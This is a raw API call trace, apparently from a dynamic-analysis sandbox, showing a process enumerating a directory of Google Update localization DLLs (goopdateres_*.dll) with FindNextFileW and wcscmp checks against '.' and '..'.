	[0079.281] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc67e3c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc67e3c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xae50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_gu.dll", cAlternateFileName="GOA5CA~1.DLL")) returned 1
	[0079.281] wcscmp (_String1="goopdateres_gu.dll", _String2=".") returned 1
	[0079.281] wcscmp (_String1="goopdateres_gu.dll", _String2="..") returned 1
	[0079.281] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc67e3c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc67e3c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa850, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_hi.dll", cAlternateFileName="GO950C~1.DLL")) returned 1
	[0079.281] wcscmp (_String1="goopdateres_hi.dll", _String2=".") returned 1
	[0079.281] wcscmp (_String1="goopdateres_hi.dll", _String2="..") returned 1
	[0079.281] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc67e3c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc67e3c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_hr.dll", cAlternateFileName="GOD93D~1.DLL")) returned 1
	[0079.281] wcscmp (_String1="goopdateres_hr.dll", _String2=".") returned 1
	[0079.281] wcscmp (_String1="goopdateres_hr.dll", _String2="..") returned 1
	[0079.281] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc67e3c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc67e3c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_hu.dll", cAlternateFileName="GO65EC~1.DLL")) returned 1
	[0079.281] wcscmp (_String1="goopdateres_hu.dll", _String2=".") returned 1
	[0079.281] wcscmp (_String1="goopdateres_hu.dll", _String2="..") returned 1
	[0079.281] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc67e3c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc67e3c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa650, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_id.dll", cAlternateFileName="GO9B55~1.DLL")) returned 1
	[0079.281] wcscmp (_String1="goopdateres_id.dll", _String2=".") returned 1
	[0079.281] wcscmp (_String1="goopdateres_id.dll", _String2="..") returned 1
	[0079.281] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc67e3c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc67e3c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa850, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_is.dll", cAlternateFileName="GOEB36~1.DLL")) returned 1
	[0079.281] wcscmp (_String1="goopdateres_is.dll", _String2=".") returned 1
	[0079.282] wcscmp (_String1="goopdateres_is.dll", _String2="..") returned 1
	[0079.282] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc67e3c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc67e3c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xae50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_it.dll", cAlternateFileName="GO79FD~1.DLL")) returned 1
	[0079.282] wcscmp (_String1="goopdateres_it.dll", _String2=".") returned 1
	[0079.282] wcscmp (_String1="goopdateres_it.dll", _String2="..") returned 1
	[0079.282] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc67e3c2, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc67e3c2, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x9e50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_iw.dll", cAlternateFileName="GOF8FD~1.DLL")) returned 1
	[0079.282] wcscmp (_String1="goopdateres_iw.dll", _String2=".") returned 1
	[0079.282] wcscmp (_String1="goopdateres_iw.dll", _String2="..") returned 1
	[0079.282] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc6ca88e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc6ca88e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x9a50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_ja.dll", cAlternateFileName="GO19B9~1.DLL")) returned 1
	[0079.282] wcscmp (_String1="goopdateres_ja.dll", _String2=".") returned 1
	[0079.282] wcscmp (_String1="goopdateres_ja.dll", _String2="..") returned 1
	[0079.282] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc6ca88e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc6ca88e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xae50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_kn.dll", cAlternateFileName="GOD1E2~1.DLL")) returned 1
	[0079.282] wcscmp (_String1="goopdateres_kn.dll", _String2=".") returned 1
	[0079.282] wcscmp (_String1="goopdateres_kn.dll", _String2="..") returned 1
	[0079.282] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc6ca88e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc6ca88e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x9850, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_ko.dll", cAlternateFileName="GO9703~1.DLL")) returned 1
	[0079.282] wcscmp (_String1="goopdateres_ko.dll", _String2=".") returned 1
	[0079.282] wcscmp (_String1="goopdateres_ko.dll", _String2="..") returned 1
	[0079.282] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc6ca88e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc6ca88e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa650, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_lt.dll", cAlternateFileName="GOB674~1.DLL")) returned 1
	[0079.282] wcscmp (_String1="goopdateres_lt.dll", _String2=".") returned 1
	[0079.282] wcscmp (_String1="goopdateres_lt.dll", _String2="..") returned 1
	[0079.282] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc6f0ad4, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc6f0ad4, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xac50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_lv.dll", cAlternateFileName="GO6D3D~1.DLL")) returned 1
	[0079.282] wcscmp (_String1="goopdateres_lv.dll", _String2=".") returned 1
	[0079.282] wcscmp (_String1="goopdateres_lv.dll", _String2="..") returned 1
	[0079.282] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc6f0ad4, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc6f0ad4, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xb450, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_ml.dll", cAlternateFileName="GOC08E~1.DLL")) returned 1
	[0079.282] wcscmp (_String1="goopdateres_ml.dll", _String2=".") returned 1
	[0079.282] wcscmp (_String1="goopdateres_ml.dll", _String2="..") returned 1
	[0079.282] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc6f0ad4, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc6f0ad4, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xac50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_mr.dll", cAlternateFileName="GOFE9B~1.DLL")) returned 1
	[0079.282] wcscmp (_String1="goopdateres_mr.dll", _String2=".") returned 1
	[0079.282] wcscmp (_String1="goopdateres_mr.dll", _String2="..") returned 1
	[0079.282] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc6f0ad4, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc6f0ad4, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc526ea5, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa650, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_ms.dll", cAlternateFileName="GO6698~1.DLL")) returned 1
	[0079.282] wcscmp (_String1="goopdateres_ms.dll", _String2=".") returned 1
	[0079.282] wcscmp (_String1="goopdateres_ms.dll", _String2="..") returned 1
	[0079.282] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc6f0ad4, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc6f0ad4, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xac50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_nl.dll", cAlternateFileName="GOD98C~1.DLL")) returned 1
	[0079.282] wcscmp (_String1="goopdateres_nl.dll", _String2=".") returned 1
	[0079.282] wcscmp (_String1="goopdateres_nl.dll", _String2="..") returned 1
	[0079.282] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc6f0ad4, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc6f0ad4, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa850, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_no.dll", cAlternateFileName="GO5A8C~1.DLL")) returned 1
	[0079.282] wcscmp (_String1="goopdateres_no.dll", _String2=".") returned 1
	[0079.283] wcscmp (_String1="goopdateres_no.dll", _String2="..") returned 1
	[0079.283] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc6f0ad4, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc6f0ad4, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_pl.dll", cAlternateFileName="GO21C1~1.DLL")) returned 1
	[0079.283] wcscmp (_String1="goopdateres_pl.dll", _String2=".") returned 1
	[0079.283] wcscmp (_String1="goopdateres_pl.dll", _String2="..") returned 1
	[0079.283] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc6f0ad4, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc6f0ad4, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa850, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_pt-BR.dll", cAlternateFileName="GOBB1C~1.DLL")) returned 1
	[0079.283] wcscmp (_String1="goopdateres_pt-BR.dll", _String2=".") returned 1
	[0079.283] wcscmp (_String1="goopdateres_pt-BR.dll", _String2="..") returned 1
	[0079.283] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc716d2d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc716d2d, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_pt-PT.dll", cAlternateFileName="GO3668~1.DLL")) returned 1
	[0079.283] wcscmp (_String1="goopdateres_pt-PT.dll", _String2=".") returned 1
	[0079.283] wcscmp (_String1="goopdateres_pt-PT.dll", _String2="..") returned 1
	[0079.283] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc716d2d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc716d2d, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xac50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_ro.dll", cAlternateFileName="GOF742~1.DLL")) returned 1
	[0079.283] wcscmp (_String1="goopdateres_ro.dll", _String2=".") returned 1
	[0079.283] wcscmp (_String1="goopdateres_ro.dll", _String2="..") returned 1
	[0079.283] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc716d2d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc716d2d, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa650, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_ru.dll", cAlternateFileName="GO67EE~1.DLL")) returned 1
	[0079.283] wcscmp (_String1="goopdateres_ru.dll", _String2=".") returned 1
	[0079.283] wcscmp (_String1="goopdateres_ru.dll", _String2="..") returned 1
	[0079.283] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc716d2d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc716d2d, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa850, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_sk.dll", cAlternateFileName="GO472D~1.DLL")) returned 1
	[0079.283] wcscmp (_String1="goopdateres_sk.dll", _String2=".") returned 1
	[0079.283] wcscmp (_String1="goopdateres_sk.dll", _String2="..") returned 1
	[0079.283] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc716d2d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc716d2d, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_sl.dll", cAlternateFileName="GO2CB4~1.DLL")) returned 1
	[0079.283] wcscmp (_String1="goopdateres_sl.dll", _String2=".") returned 1
	[0079.283] wcscmp (_String1="goopdateres_sl.dll", _String2="..") returned 1
	[0079.283] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc716d2d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc716d2d, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa850, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_sr.dll", cAlternateFileName="GO9365~1.DLL")) returned 1
	[0079.283] wcscmp (_String1="goopdateres_sr.dll", _String2=".") returned 1
	[0079.283] wcscmp (_String1="goopdateres_sr.dll", _String2="..") returned 1
	[0079.283] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc716d2d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc716d2d, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xaa50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_sv.dll", cAlternateFileName="GO5E84~1.DLL")) returned 1
	[0079.283] wcscmp (_String1="goopdateres_sv.dll", _String2=".") returned 1
	[0079.283] wcscmp (_String1="goopdateres_sv.dll", _String2="..") returned 1
	[0079.283] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc716d2d, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc716d2d, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xae50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_sw.dll", cAlternateFileName="GO07AF~1.DLL")) returned 1
	[0079.283] wcscmp (_String1="goopdateres_sw.dll", _String2=".") returned 1
	[0079.283] wcscmp (_String1="goopdateres_sw.dll", _String2="..") returned 1
	[0079.283] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xb050, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_ta.dll", cAlternateFileName="GOB6CE~1.DLL")) returned 1
	[0079.283] wcscmp (_String1="goopdateres_ta.dll", _String2=".") returned 1
	[0079.283] wcscmp (_String1="goopdateres_ta.dll", _String2="..") returned 1
	[0079.283] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xae50, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_te.dll", cAlternateFileName="GO8BF2~1.DLL")) returned 1
	[0079.284] wcscmp (_String1="goopdateres_te.dll", _String2=".") returned 1
	[0079.284] wcscmp (_String1="goopdateres_te.dll", _String2="..") returned 1
	[0079.284] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa450, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_th.dll", cAlternateFileName="GO438A~1.DLL")) returned 1
	[0079.284] wcscmp (_String1="goopdateres_th.dll", _String2=".") returned 1
	[0079.284] wcscmp (_String1="goopdateres_th.dll", _String2="..") returned 1
	[0079.284] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa850, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_tr.dll", cAlternateFileName="GO0156~1.DLL")) returned 1
	[0079.284] wcscmp (_String1="goopdateres_tr.dll", _String2=".") returned 1
	[0079.284] wcscmp (_String1="goopdateres_tr.dll", _String2="..") returned 1
	[0079.284] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa850, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_uk.dll", cAlternateFileName="GOFFE7~1.DLL")) returned 1
	[0079.284] wcscmp (_String1="goopdateres_uk.dll", _String2=".") returned 1
	[0079.284] wcscmp (_String1="goopdateres_uk.dll", _String2="..") returned 1
	[0079.284] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa850, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_ur.dll", cAlternateFileName="GO0A51~1.DLL")) returned 1
	[0079.284] wcscmp (_String1="goopdateres_ur.dll", _String2=".") returned 1
	[0079.284] wcscmp (_String1="goopdateres_ur.dll", _String2="..") returned 1
	[0079.284] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc54d0e2, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0xa650, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_vi.dll", cAlternateFileName="GO458B~1.DLL")) returned 1
	[0079.284] wcscmp (_String1="goopdateres_vi.dll", _String2=".") returned 1
	[0079.284] wcscmp (_String1="goopdateres_vi.dll", _String2="..") returned 1
	[0079.284] FindNextFileW (in: hFindFile=0x2dacdf8, lpFindFileData=0x2df67b0 | out: lpFindFileData=0x2df67b0*(dwFileAttributes=0x120, ftCreationTime.dwLowDateTime=0xcc7af69e, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcc7af69e, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0xcc5734ac, ftLastWriteTime.dwHighDateTime=0x1d327cb, nFileSizeHigh=0x0, nFileSizeLow=0x9050, dwReserved0=0x0, dwReserved1=0x0, cFileName="goopdateres_zh-CN.dll", cAlternateFileName="GO3A8A~1.DLL")) returned 1
